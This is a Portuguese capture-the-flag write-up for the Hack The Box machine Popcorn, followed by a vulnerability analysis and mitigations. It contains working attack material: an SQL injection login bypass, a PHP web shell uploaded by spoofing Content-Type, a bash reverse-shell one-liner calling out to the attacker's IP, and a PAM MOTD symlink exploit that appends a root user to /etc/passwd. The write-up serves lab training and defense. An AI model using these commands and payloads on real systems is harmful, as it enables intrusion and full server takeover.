Popcorn - HTB Medium Machine - Português Brasil

OS Linux
Difficulty Medium
User Owns 13.3K
Root Owns 12.3K
Rating 4.9/5
Release 2017/03/15
Creator ch4p
First Blood User adxn37
First Blood Root adxn37
User Rated Difficulty

Sobre

Popcorn, apesar de não ser extremamente complicada, contém bastante conteúdo e pode ser difícil para alguns usuários localizarem o vetor de ataque correto logo de início. Essa máquina foca principalmente em diferentes métodos de exploração web.

Exploração

Enumeração

Começando com um scan de Nmap, dois ports abertos foram encontrados:

PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)  
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)  
80/tcp open  http    Apache httpd 2.2.12  
|_http-server-header: Apache/2.2.12 (Ubuntu)  
|_http-title: Did not follow redirect to http://popcorn.htb/  
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vou adicionar o hostname no arquivo de hosts para acessar o site:

echo "10.10.10.6      popcorn.htb" | sudo tee -a /etc/hosts

A página inicial mostra pouco conteúdo, o que indica a necessidade de fazer enumeração de diretórios.

Screenshot

A página 404 revela que está rodando Apache com informações de versão, confirmando os detalhes do servidor web.

Screenshot

Usando o feroxbuster, dois caminhos interessantes aparecem:

feroxbuster -u http://popcorn.htb --dont-extract-links -t 50 -x php

	http://popcorn.htb/test
	http://popcorn.htb/torrent/admin

O diretório /test exibe informações completas de configuração do servidor, confirmando que é uma aplicação PHP e revelando detalhes como o usuário do webserver e recursos de upload.

Screenshot

A configuração mostra o usuário da aplicação e a estrutura de diretórios:

Screenshot

Bom saber, há funcionalidade de upload de arquivos disponível:

Screenshot

Já o diretório /torrent/admin mostra uma página de login com opção de registro. Testar credenciais padrão de admin não funciona, como esperado:

http://popcorn.htb/torrent/admin
Screenshot

Uma payload simples de SQL Injection bypassa a autenticação logo na primeira tentativa:

admin' OR '1'='1
Screenshot

Com o login bem-sucedido, o painel admin fica acessível, incluindo várias funcionalidades e a de upload:

Screenshot

A página de upload permite selecionar e enviar arquivos:

Screenshot

As primeiras tentativas de enviar uma shell em PHP falham:

<?php system($_REQUEST["cmd"]); ?>
Screenshot

Explorando mais o site, a página Browse contém a opção Edit this torrent:

Screenshot

Essa opção abre um popup para edição, incluindo envio de screenshot. Interceptando a requisição no Burp Suite enquanto envio a shell PHP:

<?php system($_REQUEST["cmd"]); ?>
Screenshot

A resposta indica “Invalid file”:

Screenshot

Mas explorando a estrutura de diretórios, vemos que há um /upload dentro de /torrent/ acessível publicamente e já com arquivos:

Screenshot

Ponto de Entrada

Para contornar a restrição de tipo de arquivo, alterei o header Content-Type para image/png no POST. Isso permite o upload mantendo a extensão .php:

Screenshot Screenshot

Agora o arquivo aparece em /upload/, ficando fácil prosseguir:

Screenshot

Com a execução remota de código funcionando, o próximo passo é gerar uma reverse shell.

Screenshot

Uso o curl para disparar a request com meu IP e capturar a shell no listener:

curl http://popcorn.htb/torrent/upload/723bc28f9b6f924cca68ccdff96b6190566ca6b4.php?cmd=id --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.6/9001 0>&1'"
Screenshot Screenshot

A shell recebida é limitada, então ajusto para um terminal mais funcional:

python -c 'import pty; pty.spawn("/bin/bash")'

Depois suspendo a shell (CTRL+Z) e configuro o terminal local:

stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Agora temos uma TTY interativa e estável.

USER

Pegando a flag do usuário:

www-data@popcorn:/home/george$ cat user.txt    
f515e4e120f.....

Escalação de Privilégios

Enquanto explorava o /home/george, encontrei o arquivo .cache/motd.legal-displayed:

www-data@popcorn:/home/george$ find . -type f -ls
    76    4 -rw-r--r--   1 george   george        220 Mar 17  2017 ./.bash_logout
    82    4 -rw-r--r--   1 george   george       3180 Mar 17  2017 ./.bashrc
 42885  832 -rw-r--r--   1 george   george     848727 Mar 17  2017 ./torrenthoster.zip
 42883    0 -rw-r--r--   1 george   george          0 Mar 17  2017 ./.cache/motd.legal-displayed
 42884    0 -rw-r--r--   1 george   george          0 Mar 17  2017 ./.sudo_as_admin_successful
  2210    4 -rw-r--r--   1 george   george         33 Mar 17  2017 ./user.txt
 43648    4 -rw-------   1 root     root           19 May  5  2017 ./.nano_history
 44232    4 -rw-------   1 root     root         1571 Mar 17  2017 ./.mysql_history
   499    4 -rw-------   1 root     root         2769 May  5  2017 ./.bash_history
   107    4 -rw-r--r--   1 george   george        675 Mar 17  2017 ./.profile

Ele está vazio, mas como esses arquivos rodam quando uma sessão é iniciada, podem ser explorados para execução de código. Uma pesquisa rápida por “motd.legal-displayed privesc” mostrou uma entrada no Exploit-DB.
Essa máquina é vulnerável à falha Linux PAM 1.1.0 MOTD File Tampering, que bagunça permissões de arquivos durante logins SSH no Ubuntu 9.10 e 10.04.

Entendendo a vulnerabilidade

Quando um usuário faz login via SSH, o sistema PAM (Pluggable Authentication Modules) atualiza os arquivos de cache do MOTD (Message of the Day). Devido a uma race condition no PAM 1.1.0, esses arquivos podem ter sua propriedade temporariamente atribuída ao usuário conectado em vez de permanecerem como root.

A vulnerabilidade acontece porque:

  1. O PAM cria arquivos de cache no diretório .cache/ do usuário.
  2. Durante o login SSH, o PAM temporariamente dá a posse desses arquivos ao usuário conectado.
  3. Se o diretório .cache for substituído por um symlink, o PAM vai segui-lo e alterar a posse do arquivo de destino.
  4. Isso permite escalar privilégios ganhando acesso de escrita a arquivos sensíveis como /etc/passwd.

Vamos explorar isso passo a passo.

Primeiro, estabeleço acesso SSH gerando chaves para o usuário www-data:

www-data@popcorn:/var/www$ mkdir -p ~/.ssh  
www-data@popcorn:/var/www$ chmod 700 ~/.ssh  
www-data@popcorn:/var/www$ ssh-keygen -q -t rsa -N '' -C 'pam'  
Enter file in which to save the key (/var/www/.ssh/id_rsa):    
www-data@popcorn:/var/www$ ls .ssh/  
id_rsa  id_rsa.pub  
www-data@popcorn:/var/www$ cp .ssh/id_rsa.pub .ssh/authorized_keys  
www-data@popcorn:/var/www$ ls .ssh/                        
authorized_keys  id_rsa  id_rsa.pub  
www-data@popcorn:/var/www$ chmod 600 ~/.ssh/authorized_keys  
www-data@popcorn:/var/www$ cat ~/.ssh/id_rsa

Do meu host, tento usar a chave, mas o SSH retorna erro, já que a versão é antiga e precisa de ajustes:

└─ $ ssh -i id_rsa www-data@popcorn.htb  
Unable to negotiate with 10.10.10.6 port 22: no matching host key type found.  
Their offer: ssh-rsa,ssh-dss

Após ajustar os algoritmos aceitos, o login funciona:

┌── popcorn  
└─ $ chmod 600 id_rsa    
┌── popcorn  
└─ $ ssh -i id_rsa -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa www-data@10.10.10.6  

Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686  

To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  

 System information as of Tue Sep  9 00:45:37 EEST 2025  

 System load: 0.0              Memory usage: 9%   Processes:       119  
 Usage of /:  36.7% of 3.56GB  Swap usage:   0%   Users logged in: 0  

 Graph this data and manage this system at https://landscape.canonical.com/  

The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  

$ whoami  
www-data

Agora removo o diretório cache e crio um link simbólico para /etc/passwd:

www-data@popcorn:~$ rm -rf .cache/  
www-data@popcorn:~$ ln -s /etc/passwd .cache  
www-data@popcorn:~$ ls -la .cache  
lrwxrwxrwx 1 www-data www-data 11 2025-09-09 00:48 .cache -> /etc/passwd  

Inicialmente, /etc/passwd ainda pertence ao root:

www-data@popcorn:~$ ls -l /etc/passwd  
-rw-r--r-- 1 root root 1031 2017-03-17 19:07 /etc/passwd

Depois de logar novamente via SSH, já temos acesso de escrita:

www-data@popcorn:~$ ls -l /etc/passwd    
-rw-r--r-- 1 www-data www-data 1097 2025-09-09 01:00 /etc/passwd

Crio um novo usuário privilegiado:

www-data@popcorn:~$ openssl passwd -1 nika  
$1$F8Rt3Qpr$lmImOtRSnhkJx7y9YgKuR0

www-data@popcorn:~$ echo 'nika:$1$F8Rt3Qpr$lmImOtRSnhkJx7y9YgKuR0:0:0:pwned:/  
t:/bin/bash' >> /etc/passwd

ROOT

Com o usuário privilegiado criado, pego a flag root:

root@popcorn:~# cat root.txt    
ff6a8c6683d.....

Análise

Esta máquina demonstra múltiplas vulnerabilidades que formam uma cadeia completa de ataque, desde o acesso inicial até a escalação de privilégios:

1. Bypass de Autenticação via Injeção SQL

A funcionalidade de login da aplicação de torrent é vulnerável a injeção SQL, permitindo bypass de autenticação através de injeção baseada em booleanos:

Detalhes da Vulnerabilidade:

  • Causa Raiz: Entrada do usuário não sanitizada concatenada diretamente em consultas SQL
  • Vetor de Ataque: O formulário de login administrativo aceita entradas maliciosas como admin' OR '1'='1
  • Impacto: Bypass completo de autenticação sem credenciais válidas
  • Nível de Risco: Crítico - fornece acesso administrativo não autorizado

Análise Técnica:
A aplicação provavelmente constrói consultas SQL semelhantes a:

SELECT * FROM users WHERE username='$username' AND password='$password'

A carga de injeção admin' OR '1'='1 transforma isso em:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'

Como '1'='1' sempre avalia como verdadeiro, a consulta retorna resultados independentemente das credenciais.

2. Bypass de Filtro de Upload de Arquivos

A funcionalidade de upload de screenshots implementa validação insuficiente de tipo de arquivo, permitindo upload arbitrário através de manipulação de cabeçalhos HTTP:

Detalhes da Vulnerabilidade:

  • Causa Raiz: Validação do lado do cliente dependendo apenas do cabeçalho Content-Type
  • Vetor de Ataque: Interceptar requisições de upload e modificar o Content-Type para image/png
  • Impacto: Execução remota de código através de shells PHP enviados
  • Nível de Risco: Crítico - permite comprometimento completo do servidor

Análise Técnica:

  • A aplicação verifica apenas o cabeçalho Content-Type, não o conteúdo real do arquivo
  • Extensões de arquivo são preservadas durante o upload, permitindo a execução de arquivos .php
  • Arquivos enviados são armazenados em um diretório publicamente acessível (/torrent/upload/)
  • Não há validação do lado do servidor do formato ou conteúdo real do arquivo

Técnica de Bypass:

POST /torrent/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/png

<?php system($_REQUEST["cmd"]); ?>
------WebKitFormBoundary--

3. Condição de Corrida no PAM MOTD (Escalação de Privilégios)

A vulnerabilidade do PAM MOTD demonstra como condições de corrida em serviços do sistema podem levar à escalação de privilégios:

Detalhes da Vulnerabilidade:

  • Janela de Tempo: O PAM altera temporariamente a propriedade de arquivos durante a autenticação SSH
  • Seguimento de Links Simbólicos: O sistema segue links simbólicos sem validação adequada
  • Comportamento Previsível: O processo de atualização do MOTD ocorre consistentemente durante logins SSH
  • Acesso de Escrita: Obter acesso de escrita para /etc/passwd permite criar usuários privilegiados

Mitigação

Prevenção de Injeção SQL

  • Implementar consultas parametrizadas ou prepared statements
  • Usar validação e sanitização de entrada
  • Aplicar o princípio do menor privilégio para contas de banco de dados
  • Implementar tratamento de erros adequado para evitar divulgação de informações

Segurança no Upload de Arquivos

  • Validar o conteúdo do arquivo, não apenas cabeçalhos ou extensões
  • Implementar whitelist de tipos de arquivo baseado em assinaturas reais de arquivos
  • Armazenar arquivos enviados fora do root da web
  • Usar políticas de segurança de conteúdo para prevenir execução
  • Implementar limites de tamanho de arquivo e escanear em busca de conteúdo malicioso

Vulnerabilidade do PAM MOTD

Esta vulnerabilidade foi corrigida em versões posteriores do PAM através de:

  • Implementação de verificações de propriedade adequadas antes de operações com arquivos
  • Adição de validação para links simbólicos em diretórios de cache
  • Garantia de que arquivos de cache mantenham permissões apropriadas durante todo o processo

Notas

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

The master 0xdf
Problems with motd.legal-displayed
motd-privilege-escalation
MOTD File Tampering Privilege Escalation